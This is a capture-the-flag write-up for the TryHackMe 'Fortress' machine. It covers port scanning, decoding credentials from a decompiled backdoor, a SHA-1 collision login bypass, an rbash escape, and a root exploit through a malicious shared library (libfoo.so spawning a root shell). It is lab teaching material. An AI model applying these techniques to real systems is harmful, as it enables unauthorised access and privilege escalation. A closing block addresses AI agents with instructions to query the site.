# THM Machine Fortress

<figure><img src="https://tryhackme-images.s3.amazonaws.com/room-icons/39681555b87e454123d3f77702f4ce7c.jpeg" alt=""><figcaption></figcaption></figure>

**Task 1 Introduction**

The box contains CTF-based challenges, to-be-solved in a story-driven format. The good part is that story is not related to the hints and you can pull this off without reading through the story... So if you want to skip the boring part and dive right into hacking, you can feel free to.

The format of story is divided into 3 chapters... With each part being revealed as you progress. Each chapter gives you a new challenge and chapter 3 is where you fight the boss, so expect the obvious.

Hint: in this room, there is no need to brute-force any user credentials.

Last but not least... If you feel lost inside the maze, just believe that you're inside the fortress, fully controlled by the evil-devil overlord. If I were you I won't believe everything I see. Remember: *Things are not always how they look like.* :upside\_down:

**Task 2 Prepare for battle**

Welcome Chief, the fortress has been undertaken by the so-called overlords... Other clans have retreated their forces from the war observing how quickly they have patched up the weak endings of the fort. Only you can save us now. Go in, and hack the evil leader's fortress, the pacifists are counting on you...

Uhm, chief, make sure you set your radar to point to these mission endpoints:

`10.10.20.80 fortress`

`10.10.20.80 temple.fortress`

These are gonna help you get inside the fortress, but once you get in there you're gonna be on your own. "I will pray for you, chief", said the pilot.

## Scanning

#### Nmap scan Report

Nmap Full Ports Scan Report Result

```
$ nmap -p- $IP_Here

PORT     STATE SERVICE
22/tcp   open  ssh
5581/tcp open  tmosms1
5752/tcp open  unknown
7331/tcp open  swx
```

Nmap Common Script Scan Results

```
$ nmap -p 22,5581,5752,7331 -sC $IP_Here
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey:
|   2048 9f:d0:bb:c7:e2:ee:7f:91:fe:c2:6a:a6:bb:b2:e1:91 (RSA)
|   256 06:4b:fe:c0:6e:e4:f4:7e:e1:db:1c:e7:79:9d:2b:1d (ECDSA)
|_  256 0d:0e:ce:57:00:1a:e2:8d:d2:1b:2e:6d:92:3e:65:c4 (ED25519)
5581/tcp open  tmosms1
5752/tcp open  unknown
7331/tcp open  swx
```

Nmap Aggressive Scan Report

```
$ nmap  -p 22,5581,5752,7331 -A $IP_Here

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 9f:d0:bb:c7:e2:ee:7f:91:fe:c2:6a:a6:bb:b2:e1:91 (RSA)
|   256 06:4b:fe:c0:6e:e4:f4:7e:e1:db:1c:e7:79:9d:2b:1d (ECDSA)
|_  256 0d:0e:ce:57:00:1a:e2:8d:d2:1b:2e:6d:92:3e:65:c4 (ED25519)
5581/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp           305 Jul 25 20:06 marked.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.8.186.33
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
5752/tcp open  unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, LANDesk-RC, LPDString, RTSPRequest, SIPOptions, X11Probe:
|     Chapter 1: A Call for help
|     Username: Password:
|   Kerberos, LDAPBindReq, LDAPSearchReq, NCP, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie:
|     Chapter 1: A Call for help
|_    Username:
7331/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
```

#### Conclusion

1. **Total Open Ports:** `4`
2. **Port Number:** `22`, `5581`, `5752`,`7331`
3. **Services:** `ssh`, `ftp`, `Unknown`, `http`
4. **Services Versions:** `OpenSSH 7.2p2`, `vsftpd 3.0.3`, `Unknown`, `Apache httpd 2.4.18`
5. **Operating System:** `Ubuntu`

## Enumeration

1. **Ftp Enumeration**

From the Nmap Aggressive Scan Report, we can see ftp has anonymous login allowed so we can login to the ftp server using an `anonymous` account using the following command

```shell
$ ftp $IpAdd_Here 5581
Name: anonymous
Password:
```

**Note: In an anonymous account, you don't need to give a password just press enter there or leave him empty**

When we use the `ls -al` command there we can see there are two files there one is `marked.txt` and the other is hidden and its name is `.file`

![fortress ftp](https://user-images.githubusercontent.com/85181215/133457307-6a173bcd-4640-4b9c-bac5-5845f821476e.png)

We can download that file using the `get` command there like follows

```bash
$ get .file marked.txt
```

![fortress ftp get png](https://user-images.githubusercontent.com/85181215/133457389-33242086-8542-4b8a-aafe-221e8a999386.png)

The above command downloads those files to our current directory where we open the ftp server. So now we have that files we can see the content of that files so now we can examine that files to see what is in there `.file` don't have any extension there so we can use the `file` command on it to see what the type of file is that like follows

```bash
$ file .file
```

This shows us the file type of the `.file` file and the other file has the extension `.txt`, which means that file is a text file so we can see its content using the `cat` command

![fortress ftpFiles png](https://user-images.githubusercontent.com/85181215/133457482-9780e7c9-3760-4726-bf48-9fa96ae7d149.png)

The text file has text on it but `.file` is a `python 2.7 byte-complied` file which means that file is a compiled files of `python2` and we can try to `decompile` it so we can see its source code for getting some useful information. We can use [uncompyle2](https://github.com/wibiti/uncompyle2) that `decompiles` that code, we can do this with the following command

```bash
$ git clone https://github.com/wibiti/uncompyle2

$ cd uncompyle2

$ sudo ./setup.py install

$ ./scripts/uncompyle2 ../.file > decompiled.py
```

This will decompile that code and store its output to the file name `decompiled_backdoor.py`

![fortress ftpFilesDecompile2](https://user-images.githubusercontent.com/85181215/133457556-b6c23a5e-8bbe-45dc-a661-f37dab46ee32.png)

![fortress ftpFilesDecompileContent](https://user-images.githubusercontent.com/85181215/133458387-c98cd51e-c8f1-40eb-8b43-8cbb4cbce4b0.png)

After Decompiling we can see there is `usern` and `passw` variable that have `bytes_to_long` encoded data, we can decode that values to get the `usern` and `passw` value, we know they uses `bytes_to_long` utility to encode it so we can decode it using `long_to_bytes` with the following `python3` code

```python
from Crypto.Util.number import long_to_bytes 
username = "232340432076717036154994" 
password = "10555160959732308261529999676324629831532648692669445488"
print(long_to_bytes((usernameusername)))  
print(long_to_bytes((passwordpassword)))
```

After running that code we got the username and password values if everything run fine

```Credentials
Username: 1337-h4x0r  
Password: n3v3r_g0nn4_g1v3_y0u_up
```

2. **Port 5752 Enumeration**

So there is some service running on port 5752 but we could not get what type of service is running on that port so to get that we could use `netcat` or `nc` to connect to that service that way we probably find something interesting. To connect to that we can use the following command

```shell
$ nc $IpAdd_Here 5752
```

When we do that we see the following output

![fortress nc](https://user-images.githubusercontent.com/85181215/133457622-39dc71c7-e16d-4e23-a30f-9ea0852630d0.png)

So there we see we need a `username` and `password` and we find credentials on ftp enumeration we can use that credentials there and see if they accept those credentials or not.

![fortress nc result](https://user-images.githubusercontent.com/85181215/133457689-99dfe677-24d8-4985-a11a-235f993b8319.png)

And they do accept it and we got some output `t3mple_0f_y0ur_51n5` they may be some kind of secret string that may use in some other place.

3. **HTTP Enumeration**

Above we do an enumeration of the service that got us some information. Now we enumerate the web server that has a big attack surface. In enumeration, we found out that Target is using an Apache web server. When we visit the main page of the site we confirm that also because they show us Apache default web page.

![fortressHttppage](https://user-images.githubusercontent.com/85181215/133457819-17245356-3a28-4627-9a86-307f8155c2dc.png)

So Now start finding hidden directories the target contained in the server. To find that we can use the following command

```shell
$ ffuf -w ~/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://10.10.127.125:7331/FUZZ -e .php,.html,.js,.css -ic
```

* `-w` is use to specify wordlist
* `:FUZZ` is the keyword for `ffuf`
* `-u` is used to specify the target URL
* `FUZZ` is the keyword for `ffuf` to specify which place they have to fuzz
* `-e` is used to specify the extension
* `-ic` is used to ignore comments

and the output has the following things in it

```ffuf
index.html              [Status: 200, Size: 10918, Words: 3499, Lines: 376]
assets                  [Status: 301, Size: 322, Words: 20, Lines: 10]
private.php             [Status: 200, Size: 0, Words: 1, Lines: 1]
troll.html              [Status: 200, Size: 199, Words: 11, Lines: 12]
```

There we see `index.html` that we see above the `Apache` default page, `assets` is a directory that we don't access, `private.php` is a page that doesn't have any content in it they are just a blank page or requires some additional things. And `troll.html` is a web page we can access but when we go there they show just a blank page with a black background they have some content in it because from above we see they have size `199` so we can view its source code and they are like the following.

![fortressHttppageTroll](https://user-images.githubusercontent.com/85181215/133457887-97a4e8ca-2f3d-4c54-93cd-f30e8cefaf13.png)

there we see a message **This is not so easy** and there is also a link of **assests/style.css** that has some base64 encoded message. When we decode that message using the following command syntax

```shell
$ echo 'Base64 string here' | base64 -d
```

Output is like this

![fortressMessage](https://user-images.githubusercontent.com/85181215/133457959-9727e413-fea5-4341-9767-5191e8089c3c.png)

There we see some kind of ancient words that I don't know their purpose. One thing to note the word `COLLIDING` is in upper case.

That's all we find right now and they are not enough. We find a string from service running on port `5752`. Maybe they are HTTP hidden directories we can find this also using `ffuf` we have to make a file that has a string we find from that service and use that as a wordlist like follows

```shell
$ ffuf -u http://10.10.238.81:7331/FUZZ -w tample.txt:FUZZ -e .php,.html,.js,.css
```

And the output is like following

![fortress\_tampleofsins](https://user-images.githubusercontent.com/85181215/133458018-9e922af0-604a-41b6-b46d-e56231be0194.png)

So this is a hidden directory with two extensions `html` and `php`. The `t3mple_0f_y0ur_51n5.html` is looks like the following.

![fortress\_tampleofsins html](https://user-images.githubusercontent.com/85181215/133458068-f5407082-21e4-4eb8-a2e8-93e920dfdc27.png)

Their source code has an interesting thing. They comment out a `php` code there

![fortress\_tampleofsins htmlSource](https://user-images.githubusercontent.com/85181215/133458145-ce4056ec-bd54-48c7-b0dd-7419aca2555d.png)

Let's see `t3mple_0f_y0ur_51n5.php` on page. That page has nothing just a black background when I see its source code that also has some interesting thing

![fortress\_tampleofsins php](https://user-images.githubusercontent.com/85181215/133458207-fe4b2970-fb07-4633-8aca-760e9c641d0d.png)

They commented some login forum that uses the GET Request Method with the parameters `user` that has a username and `pass` that has a password.

After reading the `php` code we came to know They get input from the user about `username` and `password` and save it in a variable `test1` and `test2` and encode it in hex using `bin2hex` and compare that using `if-else` statement but we focus on the following code conditions.

```php
 else if (sha1($test1) === sha1($test2)) {
      print "<pre>'Private Spot: '$spot</pre>";
    }
```

So basically they compare the `test1` variable with `test2` if they have the same sha1 hash then they will print some private spot information. We cannot pass the same `username` and `password` string because of the following check in the code.

```php
 if ($test1 == $test2) {
        print 'You can't cross the gates of the temple, GO AWAY!!.';
    }
```

Above we see we have to pass different username and password values but those values should have the same sha1 hash. As far as I know, **Hashing is a thing that will generate a fixed length of characters or string called digest by evaluating some mathematical operations on the file and two different files or data don't have the same hash because the mathematical operation gives a different result based on data**. That's the rule for hashing so after googling "Can the different files have the same SHA1 hash". I came to know yes because SHA1 has a vulnerability name hash collision in which two different files can have the same sha1 hash. When googling more about it I found that the video is useful to learn more about the hash collision attack

[Hash Collision Attack](https://www.youtube.com/watch?v=Zl1TZJGfvPo)

So now I know why th&#x65;**/assets/style.css** file message writes **COLLIDING** in upper case letters

Now we have to send two different usernames and password strings as GET parameters of username and password they have a length in between `500` and `600` because of the following conditions.

```php
else if(strlen($test2) <= 500 and strlen($test1) <= 600){
    	print "<pre>Nah, babe that ain't gonna work</pre>";
    }
```

Keep that in mind, we have to send small hash collision strings that have a small size but have the same sha1 hash after more Googling I found this site useful things related to hash collision attacks.

<https://sha-mbles.github.io/>

The above site has two message files that have the same hash.

![fortress\_Shambles](https://user-images.githubusercontent.com/85181215/133458509-b340c97c-de3f-4317-8578-1a138ea5df2b.png)

After downloading that file it was found that files have the same sha1 hash and also have a small size.

![fortress\_ShamblesHash](https://user-images.githubusercontent.com/85181215/133458575-1305a463-75f0-496a-9ba9-52fe0b6c2256.png).

Now we have the files that can be used but there is a problem with how we send that files to the server with username and password parameters To solve that problem I use the following `python3` code that uses `requests` the library to send the request with that conditions.

```python
import requests
import urllib.request, urllib.error, urllib.parse
username = urllib.request.urlopen("https://sha-mbles.github.io/messageA").read();
password = urllib.request.urlopen("https://sha-mbles.github.io/messageB").read();

r = requests.get('http://10.10.238.81:7331/t3mple_0f_y0ur_51n5.php', params={'user': username, 'pass': password});
print(r.text)
```

In that code, we request the `messageA` and `messageB` files with their complete URL from [sha-mbles.io](https://sha-mbles.github.io/) and read those files and store their content to the variable name `username` and `password` and send it to the server.

With the GET parameter `user` for username and `pass` for password and when that code runs they show us the following output

![fortress\_ShamblesHashKey](https://user-images.githubusercontent.com/85181215/133458658-3cb0baaa-5432-4118-98d8-df7400cb3b6d.png)

They give us a directory name that has the following content.

![fortress\_SSHKey](https://user-images.githubusercontent.com/85181215/133458721-24988e81-e626-4001-8de8-21c02676fb36.png)

There they have some messages for `j4x0n` and `h4rdy` private key. That key is use to login to the system using ssh for the `h4rdy` user. We can copy that key in a file and make that private key with the permissions that only we can read it using the following commands

```shell
$ echo 'private key here' > h4rdy_rsa
$ chmod 600 h4rdy_rsa
```

So now we can get initial access to the system

## Initial Access

As we have the `h4rdy` ssh private key so we can login to its user using the following command

```shell
$ ssh -i h4rdy_rsa h4rdy@10.10.238.81
```

And now we got the initial access

when we use the `ls` command there we got the following errors

![fortress\_SSH4rdy](https://user-images.githubusercontent.com/85181215/133458777-1a3dcd91-5f47-4968-bf82-139e0e925b57.png)

This user has a default shell set to `rbash` which is a restricted shell that restricts us to run some specified commands only but they have some bypasses when googling it and found the following method useful.

![fortress\_rbash](https://user-images.githubusercontent.com/85181215/133458838-fa57cfec-e328-4900-a9f9-260905054bf3.png)

Following the above steps we can bypass `rbash` restriction and login with a low-privilegenormal shell using the following command.

```shell
$ ssh -i h4rdy_rsa h4rdy@10.10.110.53 -t "bash --noprofile"
```

This gives us regular `bash` but they don't have any `PATH` or `env` set so we have to do this on our own.

![fortress\_rbashbypass](https://user-images.githubusercontent.com/85181215/133458885-0fca8101-2222-44dd-9dce-c681b5fe47fa.png)

There we use the following command to add the `PATH`

```shell
$ export PATH=/bin:/usr/bin
```

This adds the `PATH` so now we can use the commands as we do

## Privilege Escalation

Now we have low privilege access the next step is to do Privilege escalation to get higher privilege in the system. For that, we can start with the `sudo -l` command and they show us the following output

```shell
Matching Defaults entries for h4rdy on Fortress:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User h4rdy may run the following commands on Fortress:
    (j4x0n) NOPASSWD: /bin/cat
```

The above result shows the user `h4rdy` can use the `cat` command with `no password` as a `j4x0n` user and that's nice for us because if `h4rdy` don't have a `user.txt` flag `j4x0n` must have that file. Knowing that we can use `cat` command to read `user.txt` flag

```shell
$ sudo -u j4x0n cat /home/j4x0n/user.txt
```

So we can successfully see that flag that only the `j4x0n` user can read. We can also read the `j4x0n` user ssh private key with the following command.

```shell
$ sudo -u j4x0n cat /home/j4x0n/.ssh/id_rsa
```

![fortress\_jaxonkey](https://user-images.githubusercontent.com/85181215/133460060-52eca4f6-dfc4-41a6-a338-68133e67cffe.png)

Now we also have the `j4x0n` private key that also is used to login to its account. Using the following command steps

```shell
$ echo 'private key here' > j4x0n_rsa
$ chmod 600 j4x0n_rsa
```

```shell
$ ssh -i j4x0n_rsa   j4x0n@10.10.238.81
```

![fortress\_jaxon](https://user-images.githubusercontent.com/85181215/133458953-c5df9a55-0b89-4a90-b1bd-8acf5371395a.png)

We successfully login to `j4xon` user this is horizontal privilege escalation.

Now we can use `sudo -l` also for easy privilege escalation vectors but they required a password that we don't have at this time. we can use `find` command to find a system `SUID` binaries to know if there are any binaries that are using `SUID` bitset using the following command.

```shell
$ find / -perm /4000 -exec ls -al {} \; 2>/dev/null
-rwsr-xr-x 1 root root 615496 Jul 25 21:21 /usr/local/bin/sudo
-rwsr-xr-x 1 root root 14864 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 428240 May 27  2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Jun 12  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 84120 Apr 10  2019 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 54256 Mar 27  2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jan 20  2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 32944 Mar 27  2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 40432 Mar 27  2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 39904 Mar 27  2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 75304 Mar 27  2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 32944 Mar 27  2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 23376 Mar 27  2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 71824 Mar 27  2019 /usr/bin/chfn
-rwsr-sr-x 1 daemon daemon 51464 Jan 15  2016 /usr/bin/at
-rwsrwxr-x 1 root root 16696 Jul 26 12:55 /opt/bt
-rwsr-xr-x 1 root root 44680 May  8  2014 /bin/ping6
-rwsr-xr-x 1 root root 27608 Jan 27  2020 /bin/umount
-rwsr-xr-x 1 root root 44168 May  8  2014 /bin/ping
-rwsr-xr-x 1 root root 40152 Jan 27  2020 /bin/mount
-rwsr-xr-x 1 root root 40128 Mar 27  2019 /bin/su
-rwsr-xr-x 1 root root 30800 Jul 12  2016 /bin/fusermount
-rwsr-xr-x 1 root root 1000608 Apr 21 23:44 /sbin/ldconfig.real
```

There we see lots of binary that has `SUID` bit set but they are basic to `linux` system except for `/opt/bt` that's a new binary that is not come by default in `linux` Operating systems. when I run it to find what it does it's kind of a booby trap they show output like this

```shell
Root Shell Initialized...
Exploiting kernel at super illuminal speeds...
Getting Root...
Bwahaha, You just stepped into a booby trap XP
```

After that, they crash my terminal with some junk and I cannot do anything there now. I have to close my terminal and open a new one and login again. I use `strings` commands on it like the following.

```shell
$ j4x0n@fortress:~$ strings /opt/bt

/lib64/ld-linux-x86-64.so.2
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
puts
sleep
__cxa_finalize
__libc_start_main
libfoo.so
libc.so.6
GLIBC_2.2.5
u/UH
[]A\A]A^A_
Root Shell Initialized...
Exploiting kernel at super illuminal speeds...
Getting Root...
;*3$"
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
main.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
_edata
__libc_start_main@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
sleep@GLIBC_2.2.5
__cxa_finalize@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
```

In the above output, we see some file name `libfoo.so`, and`libc.so.6` that are linked files to that binary. I use the find command to know its location.

```shell
$ find / -name libfoo.so -exex ls -al {} \; 2>/dev/null
```

From the above command result, I came to know that file is owned by `j4x0n` user. The `/bin/bt` binary has an `SUID` permission and they are using a linked library that is owned by our user sounds interesting. If we see `hacktrix` privilege escalation notes we see there are methods related to this by following that I made a malicious `libfoo.so` with the following steps.

* First, we have to make a file name `libfoo.c` with the following code

```c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h> 
int foo() { 
setgid(0); 
setuid(0); 
system("/bin/bash"); 
}

```

* After that, we have to compile that file with the following command

```shell
$ gcc -fPIC -shared -o libfoo.so libfoo.c
```

They give us the file `libfoo.so` with malicious code

![fortress\_JaxonPri-EscBinaryLocation](https://user-images.githubusercontent.com/85181215/133459925-ce02f9eb-3ec1-44b0-84f8-36c307bd42c2.png)

Now we can copy our malicious binary in the actual location using the following command

```shell
$ cp /home/j4x0n/libfoo.so /usr/lib
```

After that, we run that binary and they give us a root shell.

![fortressRoot](https://user-images.githubusercontent.com/85181215/133459047-8bcc9394-8858-4d44-98c8-90f5beb118eb.png)

Now read the `root` flag using the following command and solve the room.

```bash
# cat /root/root.txt
```

***


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://w4h33d.gitbook.io/hack-notes/writeups/tryhackme/thm-machine-fortress.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
